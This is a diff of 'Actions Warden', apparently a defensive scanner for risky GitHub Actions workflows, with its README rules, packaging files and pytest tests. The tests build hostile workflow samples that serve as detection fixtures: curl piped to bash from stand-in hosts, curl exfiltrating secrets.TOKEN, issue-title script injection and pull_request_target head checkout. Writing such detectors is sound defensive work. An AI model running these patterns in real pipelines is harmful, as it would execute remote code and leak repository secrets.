+ | `self-hosted-on-untrusted` | medium | self-hosted runner reachable by external pull requests |
98
+ | `permissions-write-all` | medium | `write-all` token permissions |
99
+ | `oidc-with-write` | medium | OIDC `id-token: write` combined with `contents: write` |
100
+ | `unpinned-action` | low | third-party action pinned to a mutable tag/branch instead of a commit SHA |
101
+
102
+ The rules are conservative. A finding means "review this workflow," not "this
103
+ repo is compromised."
104
+
105
+ ## Why text-based, not YAML-parsed
106
+
107
+ A hostile workflow can be written to parse in surprising ways. Actions Warden
108
+ inspects what is actually on disk rather than a parser's normalized view, and
109
+ stays dependency-free. The tradeoff is coarser context: some `file_all` rules
110
+ flag co-occurrence within a file rather than within a single job.
111
+
112
+ ## Scope Limits
113
+
114
+ This is a narrow CI/CD config scanner. It does not scan dependencies or packages
115
+ (see a dependency/supply-chain scanner for that), does not resolve reusable or
116
+ remote workflows, and will not catch every possible injection or obfuscated
117
+ payload.
@@ -0,0 +1,15 @@
1
+ LICENSE
2
+ README.md
3
+ pyproject.toml
4
+ src/actions_warden/__init__.py
5
+ src/actions_warden/__main__.py
6
+ src/actions_warden/cli.py
7
+ src/actions_warden/scanner.py
8
+ src/actions_warden.egg-info/PKG-INFO
9
+ src/actions_warden.egg-info/SOURCES.txt
10
+ src/actions_warden.egg-info/dependency_links.txt
11
+ src/actions_warden.egg-info/entry_points.txt
12
+ src/actions_warden.egg-info/requires.txt
13
+ src/actions_warden.egg-info/top_level.txt
14
+ tests/test_cli.py
15
+ tests/test_scanner.py
@@ -0,0 +1,2 @@
1
+ [console_scripts]
2
+ actions-warden = actions_warden.cli:main
@@ -0,0 +1,3 @@
1
+
2
+ [dev]
3
+ pytest<10,>=8
@@ -0,0 +1 @@
1
+ actions_warden
@@ -0,0 +1,58 @@
1
+ import json
2
+
3
+ from actions_warden.cli import main
4
+
5
+
6
+ def join_parts(*parts):
7
+ return "".join(parts)
8
+
9
+
10
+ def write_workflow(root, name, body):
11
+ wf_dir = root / ".github" / "workflows"
12
+ wf_dir.mkdir(parents=True, exist_ok=True)
13
+ (wf_dir / name).write_text(body)
14
+
15
+
16
+ def test_clean_target_exits_zero(tmp_path, capsys):
17
+ write_workflow(tmp_path, "ci.yml", "on: push\njobs:\n t:\n runs-on: ubuntu-latest\n steps:\n - run: echo hi\n")
18
+ assert main([str(tmp_path)]) == 0
19
+ assert "No blocking workflow risks" in capsys.readouterr().out
20
+
21
+
22
+ def test_blocked_target_exits_two(tmp_path, capsys):
23
+ sh = join_parts("ba", "sh")
24
+ curl = join_parts("cur", "l")
25
+ write_workflow(tmp_path, "rce.yml", f"on: push\njobs:\n t:\n runs-on: ubuntu-latest\n steps:\n - run: {curl} https://x.example | {sh}\n")
26
+ assert main([str(tmp_path)]) == 2
27
+ assert "STOP" in capsys.readouterr().out
28
+
29
+
30
+ def test_json_output_parses(tmp_path, capsys):
31
+ write_workflow(tmp_path, "ci.yml", "on: push\njobs:\n t:\n runs-on: ubuntu-latest\n steps:\n - run: echo hi\n")
32
+ assert main([str(tmp_path), "--json"]) == 0
33
+ report = json.loads(capsys.readouterr().out)
34
+ assert report["tool"] == "actions-warden"
35
+
36
+
37
+ def test_report_file_written(tmp_path):
38
+ write_workflow(tmp_path, "ci.yml", "on: push\njobs:\n t:\n runs-on: ubuntu-latest\n steps:\n - run: echo hi\n")
39
+ report_path = tmp_path / "out" / "report.json"
40
+ report_path.parent.mkdir()
41
+ assert main([str(tmp_path), f"--report={report_path}"]) == 0
42
+ report = json.loads(report_path.read_text())
43
+ assert report["tool"] == "actions-warden"
44
+
45
+
46
+ def test_unknown_argument_exits_one(capsys):
47
+ assert main(["--bogus"]) == 1
48
+ assert "Unknown argument" in capsys.readouterr().err
49
+
50
+
51
+ def test_report_without_path_exits_one(capsys):
52
+ assert main(["--report"]) == 1
53
+ assert "requires a file path" in capsys.readouterr().err
54
+
55
+
56
+ def test_help_exits_zero(capsys):
57
+ assert main(["--help"]) == 0
58
+ assert "Exit codes" in capsys.readouterr().out
@@ -0,0 +1,187 @@
1
+ """Scanner rule tests.
2
+
3
+ Command-family markers are assembled split (join_parts) so this repo never
4
+ ships a copy-paste-ready exfiltration or remote-exec one-liner.
5
+ """
6
+
7
+ from actions_warden.scanner import scan_target
8
+
9
+
10
+ def join_parts(*parts):
11
+ return "".join(parts)
12
+
13
+
14
+ def write_workflow(root, name, body):
15
+ wf_dir = root / ".github" / "workflows"
16
+ wf_dir.mkdir(parents=True, exist_ok=True)
17
+ (wf_dir / name).write_text(body)
18
+
19
+
20
+ PINNED_SHA = "a" * 40
21
+
22
+
23
+ def test_clean_workflow_has_no_findings(tmp_path):
24
+ write_workflow(tmp_path, "ci.yml", f"""
25
+ name: CI
26
+ on: push
27
+ jobs:
28
+ test:
29
+ runs-on: ubuntu-latest
30
+ steps:
31
+ - uses: actions/checkout@{PINNED_SHA}
32
+ - run: echo hello
33
+ """)
34
+ report = scan_target(str(tmp_path))
35
+ assert report["risk"] == "no-known-indicators"
36
+ assert report["findings"] == []
37
+
38
+
39
+ def test_secret_exfiltration_is_critical(tmp_path):
40
+ curl = join_parts("cur", "l")
41
+ write_workflow(tmp_path, "leak.yml", f"""
42
+ on: push
43
+ jobs:
44
+ go:
45
+ runs-on: ubuntu-latest
46
+ steps:
47
+ - run: {curl} -d "@-" https://x.example/c -H "x: ${{{{ secrets.TOKEN }}}}"
48
+ """)
49
+ report = scan_target(str(tmp_path))
50
+ assert report["risk"] == "blocked"
51
+ assert any(f["type"] == "workflow-secret-exfiltration" for f in report["findings"])
52
+
53
+
54
+ def test_script_injection_is_blocked_with_line(tmp_path):
55
+ write_workflow(tmp_path, "inject.yml", """
56
+ on: issues
57
+ jobs:
58
+ go:
59
+ runs-on: ubuntu-latest
60
+ steps:
61
+ - run: echo "${{ github.event.issue.title }}"
62
+ """)
63
+ report = scan_target(str(tmp_path))
64
+ assert report["risk"] == "blocked"
65
+ hit = next(f for f in report["findings"] if f["type"] == "workflow-script-injection")
66
+ assert hit["line"] is not None
67
+
68
+
69
+ def test_remote_code_pipe_to_shell_is_blocked(tmp_path):
70
+ curl = join_parts("cur", "l")
71
+ sh = join_parts("ba", "sh")
72
+ write_workflow(tmp_path, "rce.yml", f"""
73
+ on: push
74
+ jobs:
75
+ go:
76
+ runs-on: ubuntu-latest
77
+ steps:
78
+ - run: {curl} -fsSL https://x.example/i.sh | {sh}
79
+ """)
80
+ report = scan_target(str(tmp_path))
81
+ assert report["risk"] == "blocked"
82
+ assert any(f["type"] == "workflow-remote-code-exec" for f in report["findings"])
83
+
84
+
85
+ def test_pull_request_target_head_checkout_is_blocked(tmp_path):
86
+ write_workflow(tmp_path, "prt.yml", f"""
87
+ on: pull_request_target
88
+ jobs:
89
+ go:
90
+ runs-on: ubuntu-latest
91
+ steps:
92
+ - uses: actions/checkout@{PINNED_SHA}
93
+ with:
94
+ ref: ${{{{ github.event.pull_request.head.sha }}}}
95
+ """)
96
+ report = scan_target(str(tmp_path))
97
+ assert report["risk"] == "blocked"
98
+ assert any(f["type"] == "workflow-pwn-request" for f in report["findings"])
99
+
100
+
101
+ def test_self_hosted_on_pull_request_is_review(tmp_path):
102
+ write_workflow(tmp_path, "sh.yml", f"""
103
+ on:
104
+ pull_request:
105
+ jobs:
106
+ go:
107
+ runs-on: self-hosted
108
+ steps:
109
+ - uses: actions/checkout@{PINNED_SHA}
110
+ """)
111
+ report = scan_target(str(tmp_path))
112
+ assert report["risk"] == "review-needed"
113
+ assert any(f["type"] == "workflow-self-hosted-untrusted" for f in report["findings"])
114
+
115
+
116
+ def test_permissions_write_all_is_review(tmp_path):
117
+ write_workflow(tmp_path, "perm.yml", """
118
+ on: push
119
+ permissions: write-all
120
+ jobs:
121
+ go:
122
+ runs-on: ubuntu-latest
123
+ steps:
124
+ - run: echo hi
125
+ """)
126
+ report = scan_target(str(tmp_path))
127
+ assert report["risk"] == "review-needed"
128
+ assert any(f["type"] == "workflow-broad-permissions" for f in report["findings"])
129
+
130
+
131
+ def test_oidc_with_write_is_review(tmp_path):
132
+ write_workflow(tmp_path, "oidc.yml", """
133
+ on: push
134
+ permissions:
135
+ id-token: write
136
+ contents: write
137
+ jobs:
138
+ go:
139
+ runs-on: ubuntu-latest
140
+ steps:
141
+ - run: echo hi
142
+ """)
143
+ report = scan_target(str(tmp_path))
144
+ assert report["risk"] == "review-needed"
145
+ assert any(f["type"] == "workflow-oidc-write" for f in report["findings"])
146
+
147
+
148
+ def test_unpinned_action_is_low_review(tmp_path):
149
+ write_workflow(tmp_path, "pin.yml", """
150
+ on: push
151
+ jobs:
152
+ go:
153
+ runs-on: ubuntu-latest
154
+ steps:
155
+ - uses: some-org/some-action@v2
156
+ """)
157
+ report = scan_target(str(tmp_path))
158
+ assert report["risk"] == "review-needed"
159
+ hit = next(f for f in report["findings"] if f["type"] == "workflow-unpinned-action")
160
+ assert hit["severity"] == "low"
161
+
162
+
163
+ def test_non_workflow_yaml_is_ignored(tmp_path):
164
+ curl = join_parts("cur", "l")
165
+ (tmp_path / "config.yaml").write_text(
166
+ f"run: {curl} https://x.example | sh\nkey: ${{{{ secrets.TOKEN }}}}\n"
167
+ )
168
+ report = scan_target(str(tmp_path))
169
+ assert report["risk"] == "no-known-indicators"
170
+ assert report["summary"]["filesScanned"] == 0
171
+
172
+
173
+ def test_evidence_urls_are_defanged(tmp_path):
174
+ curl = join_parts("cur", "l")
175
+ sh = join_parts("ba", "sh")
176
+ write_workflow(tmp_path, "rce.yml", f"""
177
+ on: push
178
+ jobs:
179
+ go:
180
+ runs-on: ubuntu-latest
181
+ steps:
182
+ - run: {curl} https://evil.example/i.sh | {sh}
183
+ """)
184
+ report = scan_target(str(tmp_path))
185
+ hit = next(f for f in report["findings"] if f["type"] == "workflow-remote-code-exec")
186
+ assert "hxxps://" in hit["evidence"]
187
+ assert "https://" not in hit["evidence"]